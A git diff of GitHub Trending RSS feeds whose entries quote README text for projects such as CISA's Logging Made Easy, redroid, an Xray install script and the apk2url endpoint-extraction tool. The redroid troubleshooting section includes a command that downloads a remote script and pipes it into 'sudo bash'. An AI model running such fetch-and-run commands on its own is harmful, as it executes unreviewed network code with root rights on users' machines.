href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/6"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/6" alt="contributor"></a> <a href="https://sourcerer.io/fame/huan/huan/docker-wechat/links/7"><img src="https://sourcerer.io/fame/huan/huan/docker-wechat/images/7" alt="contributor"></a></p> <h2>Author</h2> <p><a href="https://github.com/huan">Huan LI</a> (<a href="http://linkedin.com/in/zixia">李卓桓</a>) Tencent TVP of Chatbot <a href="mailto:zixia@zixia.net">zixia@zixia.net</a></p> <p><a href="https://stackexchange.com/users/265499"><img src="https://stackexchange.com/users/flair/265499.png" alt="Profile of Huan LI (李卓桓) on StackOverflow"></a></p> <h2>Copyright &amp; License</h2> <ul> <li>Code &amp; Docs © 2020-now Huan LI &lt;<a href="mailto:zixia@zixia.net">zixia@zixia.net</a>&gt;</li> <li>Code released under the Apache-2.0 License</li> <li>Docs released under Creative Commons</li> </ul> + cisagov/LME + 2023-10-30T01:35:58Z + tag:github.com,2023-10-30:/cisagov/LME + + <p>CISA’s newest tool is a free and open logging and protective monitoring solution serving all organizations. Secure your Windows-based equipment today with Logging Made Easy.</p><hr><p><img src="https://raw.githubusercontent.com/cisagov/LME/main/docs/imgs/cisa.png" alt="N|Solid"></p> <p><a href=""><img src="https://img.shields.io/github/downloads/cisagov/lme/total.svg?sanitize=true" alt="Downloads"></a></p> <h1>Logging Made Easy</h1> <p>Initially created by NCSC and now maintained by CISA, Logging Made Easy is a self-install tutorial for small organizations to gain a basic level of centralized security logging for Windows clients and provide functionality to detect attacks. It's the coming together of multiple free and open software platforms, where LME helps the reader integrate them together to produce an end-to-end logging capability. We also provide some pre-made configuration files and scripts, although there is the option to do it on your own.</p> <p>Logging Made Easy can:</p> <ul> <li>Show where administrative commands are being run on enrolled devices</li> <li>See who is using which machine</li> <li>In conjunction with threat reports, it is possible to query for the presence of an attacker in the form of Tactics, Techniques and Procedures (TTPs)</li> </ul> <h2>Disclaimer</h2> <p><strong>LME is currently still early in development. The current release is version 1.0</strong></p> <p><em><strong>If you have an existing install of the LME Alpha (v0.5 or older) some manual intervention will be required in order to upgrade to the latest version, please see <a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/maintenance/upgrading.md">Upgrading</a> for further information.</strong></em></p> <p><strong>This is not a professional tool, and should not be used as a <a href="https://en.wikipedia.org/wiki/Security_information_and_event_management">SIEM</a>.</strong></p> <p><strong>LME is a 'homebrew' way of gathering logs and querying for attacks.</strong></p> <p>We have done the hard work to make things simple. We will tell you what to download, which configurations to use and have created convenient scripts to auto-configure wherever possible.</p> <p>The current architecture is based upon Windows Clients, Microsoft Sysmon, Windows Event Forwarding and the ELK stack.</p> <p>We are <strong>not</strong> able to comment on or troubleshoot individual installations. If you believe you have have found an issue with the LME code or documentation please submit a <a href="https://github.com/cisagov/lme/issues">GitHub issue</a>. If you have a question about your installation, please visit <a href="https://github.com/cisagov/lme/discussions">GitHub Discussions</a> to see if your issue has been addressed before.</p> <h2>Who is Logging Made Easy for?</h2> <p>From single IT administrators with a handful of devices in their network to larger organizations.</p> <p>LME is for you if:</p> <ul> <li>You don’t have a <a href="https://en.wikipedia.org/wiki/Information_security_operations_center">SOC</a>, SIEM or any monitoring in place at the moment.</li> <li>You lack the budget, time or understanding to set up your own logging system.</li> <li>You recognize the need to begin gathering logs and monitoring your IT.</li> <li>You understand that LME has limitations and is better than nothing - but no match for a professional tool.</li> </ul> <p>If any, or all, of these criteria fit, then LME is a step in the right direction for you.</p> <p>LME could also be useful for:</p> <ul> <li>Small isolated networks where corporate monitoring doesn’t reach.</li> </ul> <h2>Overview</h2> <p>The LME architecture consists of 3 groups of computers, as summarized in the following diagram: <img src="https://raw.githubusercontent.com/cisagov/LME/main/docs/imgs/OverviewDiagram.png" alt="High level overview"></p> <p align="center"> Figure 1: The 3 primary groups of computers in the LME architecture, their descriptions and the operating systems / software run by each. </p> <h2>Table of contents</h2> <h3>Installation:</h3> <ul> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/prerequisites.md">Prerequisites - Start deployment here</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/chapter1/chapter1.md">Chapter 1 - Set up Windows Event Forwarding</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/chapter2.md">Chapter 2 – Sysmon Install</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/chapter3/chapter3.md">Chapter 3 – Database Install</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/chapter4.md">Chapter 4 - Post Install Actions </a></li> </ul> <h3>Logging Guidance</h3> <ul> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/logging-guidance/retention.md">Log Retention</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/logging-guidance/other-logging.md">Additional Log Types</a></li> </ul> <h3>Reference:</h3> <ul> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/reference/faq.md">FAQ</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/reference/troubleshooting.md">Troubleshooting</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/chapter1/guide_to_ous.md">Guide to Organizational Units</a></li> </ul> <h3>Maintenance:</h3> <ul> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/maintenance/backups.md">Backups</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/maintenance/upgrading.md">Upgrading</a></li> <li><a href="https://raw.githubusercontent.com/cisagov/LME/main/docs/markdown/maintenance/certificates.md">Certificates</a></li> </ul> \ No newline at end of file diff --git a/shell/weekly/index.xml b/shell/weekly/index.xml deleted file mode 100644 index 81904b25a7b..00000000000 --- a/shell/weekly/index.xml +++ /dev/null @@ -1,28 +0,0 @@ - - GitHub Shell Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:07Z - Weekly Trending of Shell in GitHub - - - remote-android/redroid-doc - 2023-10-29T02:02:07Z - tag:github.com,2023-10-29:/remote-android/redroid-doc - - <p>redroid (Remote-Android) is a multi-arch, GPU enabled, Android in Cloud solution. Track issues / docs here</p><hr><p>English | <a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/README.zh-cn.md">简体中文</a></p> <h1>Table of contents</h1> <ul> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#overview">Overview</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#getting-started">Getting Started</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#configuration">Configuration</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#native-bridge-support">Native Bridge Support</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#gms-support">GMS Support</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#webrtc-streaming">WebRTC Streaming</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#how-to-build">How To Build</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#troubleshooting">Troubleshooting</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#contact-me">Contact Me</a></li> <li><a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/#license">License</a></li> </ul> <h2>Overview</h2> <p><em>redroid</em> (<em>Re</em>mote an<em>Droid</em>) is a GPU accelerated AIC (Android In Cloud) solution. You can boot many instances in Linux host (<code>Docker</code>, <code>podman</code>, <code>k8s</code> etc.). <em>redroid</em> supports both <code>arm64</code> and <code>amd64</code> architectures. <em>redroid</em> is suitable for Cloud Gaming, Virtualise Phones, Automation Test and more.</p> <p><img src="https://raw.githubusercontent.com/remote-android/redroid-doc/master/assets/redroid11.png" alt="Screenshot of redroid 11"></p> <p>Currently supported:</p> <ul> <li>Android 14 (<code>redroid/redroid:14.0.0-latest</code>)</li> <li>Android 14 64bit only (<code>redroid/redroid:14.0.0_64only-latest</code>)</li> <li>Android 13 (<code>redroid/redroid:13.0.0-latest</code>)</li> <li>Android 13 64bit only (<code>redroid/redroid:13.0.0_64only-latest</code>)</li> <li>Android 12 (<code>redroid/redroid:12.0.0-latest</code>)</li> <li>Android 12 64bit only (<code>redroid/redroid:12.0.0_64only-latest</code>)</li> <li>Android 11 (<code>redroid/redroid:11.0.0-latest</code>)</li> <li>Android 10 (<code>redroid/redroid:10.0.0-latest</code>)</li> <li>Android 9 (<code>redroid/redroid:9.0.0-latest</code>)</li> <li>Android 8.1 (<code>redroid/redroid:8.1.0-latest</code>)</li> </ul> <h2>Getting Started</h2> <p><em>redroid</em> should capabale running on any linux (with some kernel features enabled).</p> <p>Quick start on <em>Ubuntu 20.04</em> here; Check <a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/deploy/README.md">deploy section</a> for other distros.</p> <pre><code class="language-bash">## install docker https://docs.docker.com/engine/install/#server ## install required kernel modules apt install linux-modules-extra-`uname -r` modprobe binder_linux devices="binder,hwbinder,vndbinder" modprobe ashmem_linux ## running redroid docker run -itd --rm --privileged \ --pull always \ -v ~/data:/data \ -p 5555:5555 \ redroid/redroid:11.0.0-latest ### Explanation: ### --pull always -- use latest image ### -v ~/data:/data -- mount data partition ### -p 5555:5555 -- expose adb port ## install adb https://developer.android.com/studio#downloads adb connect localhost:5555 ### NOTE: change localhost to IP if running redroid remotely ## view redroid screen ## install scrcpy https://github.com/Genymobile/scrcpy/blob/master/README.md#get-the-app scrcpy -s localhost:5555 ### NOTE: change localhost to IP if running redroid remotely ### typically running scrcpy on your local PC </code></pre> <h2>Configuration</h2> <pre><code>## running redroid with custom settings (custom display for example) docker run -itd --rm --privileged \ --pull always \ -v ~/data:/data \ -p 5555:5555 \ redroid/redroid:11.0.0-latest \ androidboot.redroid_width=1080 \ androidboot.redroid_height=1920 \ androidboot.redroid_dpi=480 \ </code></pre> <table> <thead> <tr> <th>Param</th> <th>Description</th> <th>Default</th> </tr> </thead> <tbody> <tr> <td><code>androidboot.redroid_width</code></td> <td>display width</td> <td>720</td> </tr> <tr> <td><code>androidboot.redroid_height</code></td> <td>display height</td> <td>1280</td> </tr> <tr> <td><code>androidboot.redroid_fps</code></td> <td>display FPS</td> <td>30(GPU enabled)<br> 15 (GPU not enabled)</td> </tr> <tr> <td><code>androidboot.redroid_dpi</code></td> <td>display DPI</td> <td>320</td> </tr> <tr> <td><code>androidboot.use_memfd</code></td> <td>use <code>memfd</code> to replace deprecated <code>ashmem</code><br>plan to enable by default</td> <td>false</td> </tr> <tr> <td><code>androidboot.use_redroid_overlayfs</code></td> <td>use <code>overlayfs</code> to share <code>data</code> partition<br><code>/data-base</code>: shared <code>data</code> partition<br><code>/data-diff</code>: private data</td> <td>0</td> </tr> <tr> <td><code>androidboot.redroid_net_ndns</code></td> <td>number of DNS server, <code>8.8.8.8</code> will be used if no DNS server specified</td> <td>0</td> </tr> <tr> <td><code>androidboot.redroid_net_dns&lt;1..N&gt;</code></td> <td>DNS</td> <td></td> </tr> <tr> <td><code>androidboot.redroid_net_proxy_type</code></td> <td>Proxy type; choose from: <code>static</code>, <code>pac</code>, <code>none</code>, <code>unassigned</code></td> <td></td> </tr> <tr> <td><code>androidboot.redroid_net_proxy_host</code></td> <td></td> <td></td> </tr> <tr> <td><code>androidboot.redroid_net_proxy_port</code></td> <td></td> <td>3128</td> </tr> <tr> <td><code>androidboot.redroid_net_proxy_exclude_list</code></td> <td>comma seperated list</td> <td></td> </tr> <tr> <td><code>androidboot.redroid_net_proxy_pac</code></td> <td></td> <td></td> </tr> <tr> <td><code>androidboot.redroid_gpu_mode</code></td> <td>choose from: <code>auto</code>, <code>host</code>, <code>guest</code>;<br><code>guest</code>: use software rendering;<br><code>host</code>: use GPU accelerated rendering;<br><code>auto</code>: auto detect</td> <td><code>auto</code></td> </tr> <tr> <td><code>androidboot.redroid_gpu_node</code></td> <td></td> <td>auto-detect</td> </tr> <tr> <td><code>ro.xxx</code></td> <td><strong>DEBUG</strong> purpose, allow override <code>ro.xxx</code> prop; For example, set <code>ro.secure=0</code>, then root adb shell provided by default</td> <td></td> </tr> </tbody> </table> <h2>Native Bridge Support</h2> <p>It's possible to run <code>arm</code> Apps in <code>x86</code> <em>redroid</em> instance via <code>libhoudini</code>, <code>libndk_translation</code> or <code>QEMU translator</code>.</p> <p>Check <a href="https://github.com/zhouziyang/libndk_translation">@zhouziyang/libndk_translation</a> for prebuilt <code>libndk_translation</code>. Published <code>redroid</code> images already got <code>libndk_translation</code> included.</p> <pre><code class="language-bash"># example structure, be careful the file owner and mode system/ ├── bin │&nbsp;&nbsp; ├── arm │&nbsp;&nbsp; └── arm64 ├── etc │&nbsp;&nbsp; ├── binfmt_misc │&nbsp;&nbsp; └── init ├── lib │&nbsp;&nbsp; ├── arm │&nbsp;&nbsp; └── libnb.so └── lib64 ├── arm64 └── libnb.so </code></pre> <pre><code class="language-dockerfile"># Dockerfile FROM redroid/redroid:11.0.0-latest ADD native-bridge.tar / </code></pre> <pre><code class="language-bash"># build docker image docker build . -t redroid:11.0.0-nb # running docker run -itd --rm --privileged \ -v ~/data11-nb:/data \ -p 5555:5555 \ redroid:11.0.0-nb \ </code></pre> <h2>GMS Support</h2> <p>It's possible to add GMS (Google Mobile Service) support in <em>redroid</em> via <a href="https://opengapps.org/">Open GApps</a>, <a href="https://microg.org/">MicroG</a> or <a href="https://gitlab.com/MindTheGapps/vendor_gapps">MindTheGapps</a>.</p> <p>Check <a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/android-builder-docker">android-builder-docker</a> for details.</p> <h2>WebRTC Streaming</h2> <p>Plan to port <code>WebRTC</code> solutions from <code>cuttlefish</code>, including frontend (HTML5), backend and many virtual HALs.</p> <h2>How To Build</h2> <p>It's Same as AOSP building process. But I suggest to use <code>docker</code> to build.</p> <p>Check <a href="https://raw.githubusercontent.com/remote-android/redroid-doc/master/android-builder-docker">android-builder-docker</a> for details.</p> <h2>Troubleshooting</h2> <ul> <li>How to collect debug blobs</li> </ul> <blockquote> <p><code>curl -fsSL https://raw.githubusercontent.com/remote-android/redroid-doc/master/debug.sh | sudo bash -s -- [CONTAINER]</code></p> <p>omit <em>CONTAINER</em> if not exist any more</p> </blockquote> <ul> <li>Container disappeared immediately</li> </ul> <blockquote> <p>make sure the required kernel modules are installed; run <code>dmesg -T</code> for detailed logs</p> </blockquote> <ul> <li>Container running, but adb cannot connect (device offline etc.)</li> </ul> <blockquote> <p>run <code>docker exec -it &lt;container&gt; sh</code>, then check <code>ps -A</code> and <code>logcat</code></p> <p>try <code>dmesg -T</code> if cannot get a container shell</p> </blockquote> <h2>Contact Me</h2> <ul> <li>remote-android.slack.com (invite link: <a href="https://join.slack.com/t/remote-android/shared_invite/zt-q40byk2o-YHUgWXmNIUC1nweQj0L9gA">https://join.slack.com/t/remote-android/shared_invite/zt-q40byk2o-YHUgWXmNIUC1nweQj0L9gA</a>)</li> <li><a href="mailto:ziyang.zhou@outlook.com">ziyang.zhou@outlook.com</a></li> </ul> <h2>License</h2> <p><em>redroid</em> itself is under <a href="https://www.apache.org/licenses/LICENSE-2.0">Apache License</a>, since <em>redroid</em> includes many 3rd party modules, you may need to examine license carefully.</p> <p><em>redroid</em> kernel modules are under <a href="https://www.gnu.org/licenses/old-licenses/gpl-2.0.en.html">GPL v2</a></p> - - - 233boy/Xray - 2023-10-29T02:02:07Z - tag:github.com,2023-10-29:/233boy/Xray - - <p>最好用的 Xray 一键安装脚本 & 管理脚本</p><hr><h1>介绍</h1> <p>最好用的 Xray 一键安装脚本 &amp; 管理脚本</p> <h1>特点</h1> <ul> <li>快速安装</li> <li>无敌好用</li> <li>零学习成本</li> <li>自动化 TLS</li> <li>简化所有流程</li> <li>屏蔽 BT</li> <li>屏蔽中国 IP</li> <li>使用 API 操作</li> <li>兼容 Xray 命令</li> <li>强大的快捷参数</li> <li>支持所有常用协议</li> <li>一键添加 Shadowsocks 2022</li> <li>一键添加 VMess-(TCP/mKCP/QUIC)</li> <li>一键添加 VMess-(WS/H2/gRPC)-TLS</li> <li>一键添加 VLESS-(WS/H2/gRPC)-TLS</li> <li>一键添加 Trojan-(WS/H2/gRPC)-TLS</li> <li>一键添加 VLESS-XTLS-uTLS-REALITY</li> <li>一键添加 VMess-(TCP/mKCP/QUIC) 动态端口</li> <li>一键启用 BBR</li> <li>一键更改伪装网站</li> <li>一键更改 (端口/UUID/密码/域名/路径/加密方式/SNI/动态端口/等...)</li> <li>还有更多...</li> </ul> <h1>设计理念</h1> <p>设计理念为:<strong>高效率,超快速,极易用</strong></p> <p>脚本基于作者的自身使用需求,以 <strong>多配置同时运行</strong> 为核心设计</p> <p>并且专门优化了,添加、更改、查看、删除、这四项常用功能</p> <p>你只需要一条命令即可完成 添加、更改、查看、删除、等操作</p> <p>例如,添加一个配置仅需不到 1 秒!瞬间完成添加!其他操作亦是如此!</p> <p>脚本的参数非常高效率并且超级易用,请掌握参数的使用</p> <h1>文档</h1> <p>安装及使用:<a href="https://233boy.com/xray/xray-script/">https://233boy.com/xray/xray-script/</a></p> <h1>帮助</h1> <p>使用:<code>xray help</code></p> <pre><code>Xray script v1.0 by 233boy Usage: xray [options]... [args]... 基本: v, version 显示当前版本 ip 返回当前主机的 IP pbk 同等于 xray x25519 get-port 返回一个可用的端口 ss2022 返回一个可用于 Shadowsocks 2022 的密码 一般: a, add [protocol] [args... | auto] 添加配置 c, change [name] [option] [args... | auto] 更改配置 d, del [name] 删除配置** i, info [name] 查看配置 qr [name] 二维码信息 url [name] URL 信息 log 查看日志 logerr 查看错误日志 更改: dp, dynamicport [name] [start | auto] [end] 更改动态端口 full [name] [...] 更改多个参数 id [name] [uuid | auto] 更改 UUID host [name] [domain] 更改域名 port [name] [port | auto] 更改端口 path [name] [path | auto] 更改路径 passwd [name] [password | auto] 更改密码 key [name] [Private key | atuo] [Public key] 更改密钥 type [name] [type | auto] 更改伪装类型 method [name] [method | auto] 更改加密方式 sni [name] [ ip | domain] 更改 serverName seed [name] [seed | auto] 更改 mKCP seed new [name] [...] 更改协议 web [name] [domain] 更改伪装网站 进阶: dd, ddel [name...] 删除多个配置** fix [name] 修复一个配置 fix-all 修复全部配置 fix-caddyfile 修复 Caddyfile fix-config.json 修复 config.json 管理: un, uninstall 卸载 u, update [core | sh | caddy] [ver] 更新 U, update.sh 更新脚本 s, status 运行状态 start, stop, restart [caddy] 启动, 停止, 重启 t, test 测试运行 reinstall 重装脚本 测试: client, genc [name] 显示用于客户端 JSON, 仅供参考 debug [name] 显示一些 debug 信息, 仅供参考 gen [...] 同等于 add, 但只显示 JSON 内容, 不创建文件, 测试使用 no-auto-tls [...] 同等于 add, 但禁止自动配置 TLS, 可用于 *TLS 相关协议 xapi [...] 同等于 xray api, 但 API 后端使用当前运行的 Xray 服务 其他: bbr 启用 BBR, 如果支持 bin [...] 运行 Xray 命令, 例如: xray bin help api, x25519, tls, run, uuid [...] 兼容 Xray 命令 h, help 显示此帮助界面 谨慎使用 del, ddel, 此选项会直接删除配置; 无需确认 反馈问题) https://github.com/233boy/xray/issues 文档(doc) https://233boy.com/xray/xray-script/ </code></pre> - - - n0mi1k/apk2url - 2023-10-29T02:02:07Z - tag:github.com,2023-10-29:/n0mi1k/apk2url - - <p>A tool to quickly extract IP and URL endpoints from APKs by disassembling and decompiling</p><hr><h1>apk2url</h1> <p>apk2url easily extracts URL and IP endpoints from an APK file to a .txt output. This is suitable for information gathering by the red team, penetration testers and developers to quickly identify endpoints associated with an application.</p> <p><strong>NOTE: Why use apk2url?</strong> When compared with APKleaks, MobSF and AppInfoScanner, apk2url identifies a significantly higher number of endpoints.</p> <p><em>Inspired by <a href="https://github.com/s0md3v/Diggy">diggy</a>, apk2url is rewritten and upgraded with IP support, stronger regex, auto filtering and Jadx decompilation.</em></p> <h2>Running apk2url</h2> <pre><code class="language-bash">git clone https://github.com/n0mi1k/apk2url </code></pre> <pre><code class="language-bash">./apk2url.sh /path/to/apk/file.apk </code></pre> <p>You can also install directly for easy access by running <code>./install.sh</code>.<br> After that you can run apk2url anywhere:</p> <pre><code class="language-bash">apk2url /path/to/apk/file.apk </code></pre> <p>By default there are 2 output files in the "endpoints" directory:</p> <ul> <li>&lt;apkname&gt;_endpoints.txt - <strong>Contains endpoints with full URL paths</strong></li> <li>&lt;apkname&gt;_uniqurls.txt - <strong>Contains unique endpoint domains and IPs</strong></li> </ul> <p>By default, the program does not log the APK file path where endpoints are discovered.<br> To enable logging, run as follows:</p> <pre><code class="language-bash">apk2url /path/to/apk/file.apk log </code></pre> <p>*<em>Tested on Kali 2023.2 and Ubuntu 22.04</em></p> <h2>Dependencies</h2> <p>Use <code>apt</code> for easy installation of these tools required by apk2url:</p> <ul> <li>Apktool</li> <li>Jadx</li> </ul> <h2>Demonstration</h2> <img width="628" alt="image" src="https://github.com/n0mi1k/apk2url/assets/28621928/7a251297-c1e5-49ba-abe2-6aba67c9fee7"> <h2>Disclaimer</h2> <p>This tool is for educational and testing purposes only. Do not use it to exploit the vulnerability on any system that you do not own or have permission to test. The authors of this script are not responsible for any misuse or damage caused by its use.</p> - - \ No newline at end of file diff --git a/shellcheck-config/daily/index.xml b/shellcheck-config/daily/index.xml index 76a54ffc5b2..7917a07e043 100644 --- a/shellcheck-config/daily/index.xml +++ b/shellcheck-config/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellCheck Config Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:26Z + 2023-10-30T01:35:55Z Daily Trending of ShellCheck Config in GitHub \ No newline at end of file diff --git a/shellcheck-config/weekly/index.xml b/shellcheck-config/weekly/index.xml deleted file mode 100644 index 70bdf208c7a..00000000000 --- a/shellcheck-config/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ShellCheck Config Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:02Z - Weekly Trending of ShellCheck Config in GitHub - - \ No newline at end of file diff --git a/shellsession/daily/index.xml b/shellsession/daily/index.xml index c0908cb4dad..4b7282fba38 100644 --- a/shellsession/daily/index.xml +++ b/shellsession/daily/index.xml @@ -1,7 +1,7 @@ GitHub ShellSession Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:49Z + 2023-10-30T01:36:06Z Daily Trending of ShellSession in GitHub \ No newline at end of file diff --git a/shellsession/weekly/index.xml b/shellsession/weekly/index.xml deleted file mode 100644 index 84c71b01647..00000000000 --- a/shellsession/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub ShellSession Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:22Z - Weekly Trending of ShellSession in GitHub - - \ No newline at end of file diff --git a/shen/daily/index.xml b/shen/daily/index.xml index cb411c89729..6918b0b60df 100644 --- a/shen/daily/index.xml +++ b/shen/daily/index.xml @@ -1,7 +1,7 @@ GitHub Shen Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:48Z + 2023-10-30T01:36:06Z Daily Trending of Shen in GitHub \ No newline at end of file diff --git a/shen/weekly/index.xml b/shen/weekly/index.xml deleted file mode 100644 index 5eabf900a73..00000000000 --- a/shen/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Shen Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:21Z - Weekly Trending of Shen in GitHub - - \ No newline at end of file diff --git a/sieve/daily/index.xml b/sieve/daily/index.xml index 8d5be776a0b..f302f83a3f9 100644 --- a/sieve/daily/index.xml +++ b/sieve/daily/index.xml @@ -1,7 +1,7 @@ GitHub Sieve Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:51Z + 2023-10-30T01:36:07Z Daily Trending of Sieve in GitHub \ No newline at end of file diff --git a/sieve/weekly/index.xml b/sieve/weekly/index.xml deleted file mode 100644 index cb11b3d5091..00000000000 --- a/sieve/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Sieve Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:23Z - Weekly Trending of Sieve in GitHub - - \ No newline at end of file diff --git a/singularity/daily/index.xml b/singularity/daily/index.xml index 26b343c5cbd..5eaf331fe25 100644 --- a/singularity/daily/index.xml +++ b/singularity/daily/index.xml @@ -1,7 +1,7 @@ GitHub Singularity Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:53Z + 2023-10-30T01:36:10Z Daily Trending of Singularity in GitHub \ No newline at end of file diff --git a/singularity/weekly/index.xml b/singularity/weekly/index.xml deleted file mode 100644 index f7aa684201c..00000000000 --- a/singularity/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Singularity Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:27Z - Weekly Trending of Singularity in GitHub - - \ No newline at end of file diff --git a/slash/daily/index.xml b/slash/daily/index.xml index ef1bcb66e43..566955bdfc1 100644 --- a/slash/daily/index.xml +++ b/slash/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slash Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:52Z + 2023-10-30T01:36:11Z Daily Trending of Slash in GitHub \ No newline at end of file diff --git a/slash/weekly/index.xml b/slash/weekly/index.xml deleted file mode 100644 index 9373f12210b..00000000000 --- a/slash/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Slash Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:24Z - Weekly Trending of Slash in GitHub - - \ No newline at end of file diff --git a/slice/daily/index.xml b/slice/daily/index.xml index 307ccfbe786..20f9433bb9e 100644 --- a/slice/daily/index.xml +++ b/slice/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slice Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:54Z + 2023-10-30T01:36:09Z Daily Trending of Slice in GitHub \ No newline at end of file diff --git a/slice/weekly/index.xml b/slice/weekly/index.xml deleted file mode 100644 index 8562b1b8a48..00000000000 --- a/slice/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Slice Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:26Z - Weekly Trending of Slice in GitHub - - \ No newline at end of file diff --git a/slim/daily/index.xml b/slim/daily/index.xml index 7ac64456b19..661575c9bb2 100644 --- a/slim/daily/index.xml +++ b/slim/daily/index.xml @@ -1,7 +1,7 @@ GitHub Slim Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:55Z + 2023-10-30T01:36:10Z Daily Trending of Slim in GitHub \ No newline at end of file diff --git a/slim/weekly/index.xml b/slim/weekly/index.xml deleted file mode 100644 index 3e8b127cf01..00000000000 --- a/slim/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Slim Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:25Z - Weekly Trending of Slim in GitHub - - \ No newline at end of file diff --git a/smali/daily/index.xml b/smali/daily/index.xml index 356152983f2..b605105795a 100644 --- a/smali/daily/index.xml +++ b/smali/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smali Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:42:57Z + 2023-10-30T01:36:13Z Daily Trending of Smali in GitHub \ No newline at end of file diff --git a/smali/weekly/index.xml b/smali/weekly/index.xml deleted file mode 100644 index fdbddf5b65c..00000000000 --- a/smali/weekly/index.xml +++ /dev/null @@ -1,7 +0,0 @@ - - GitHub Smali Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:29Z - Weekly Trending of Smali in GitHub - - \ No newline at end of file diff --git a/smalltalk/daily/index.xml b/smalltalk/daily/index.xml index f8e851f7838..ba1c5b3d982 100644 --- a/smalltalk/daily/index.xml +++ b/smalltalk/daily/index.xml @@ -1,7 +1,7 @@ GitHub Smalltalk Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:00Z + 2023-10-30T01:36:17Z Daily Trending of Smalltalk in GitHub \ No newline at end of file diff --git a/smalltalk/weekly/index.xml b/smalltalk/weekly/index.xml deleted file mode 100644 index f560582dc36..00000000000 --- a/smalltalk/weekly/index.xml +++ /dev/null @@ -1,14 +0,0 @@ - - GitHub Smalltalk Weekly Trending - http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T02:02:34Z - Weekly Trending of Smalltalk in GitHub - - - pharo-graphics/Roassal - 2023-10-29T02:02:34Z - tag:github.com,2023-10-29:/pharo-graphics/Roassal - - <p>The Roassal Visualization Engine</p><hr> - - \ No newline at end of file diff --git a/smarty/daily/index.xml b/smarty/daily/index.xml index a02ad15ed9d..ff8a2331a27 100644 --- a/smarty/daily/index.xml +++ b/smarty/daily/index.xml @@ -1,7 +1,21 @@ GitHub Smarty Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-10-29T01:43:02Z + 2023-10-30T01:36:15Z Daily Trending of Smarty in GitHub + + iterative/helm-charts + 2023-10-30T01:36:15Z + tag:github.com,2023-10-30:/iterative/helm-charts + + <p>📦 Iterative Helm charts 🐳</p><hr> + + + equinixmetal-helm/krakend + 2023-10-30T01:36:15Z + tag:github.com,2023-10-30:/equinixmetal-helm/krakend + + <p>A helm chart to deploy krakend using the assumptions from the infratographer project</p><hr> + \ No newline at end of file diff --git a/smarty/weekly/index.xml b/smarty/weekly/index.xml deleted file mode 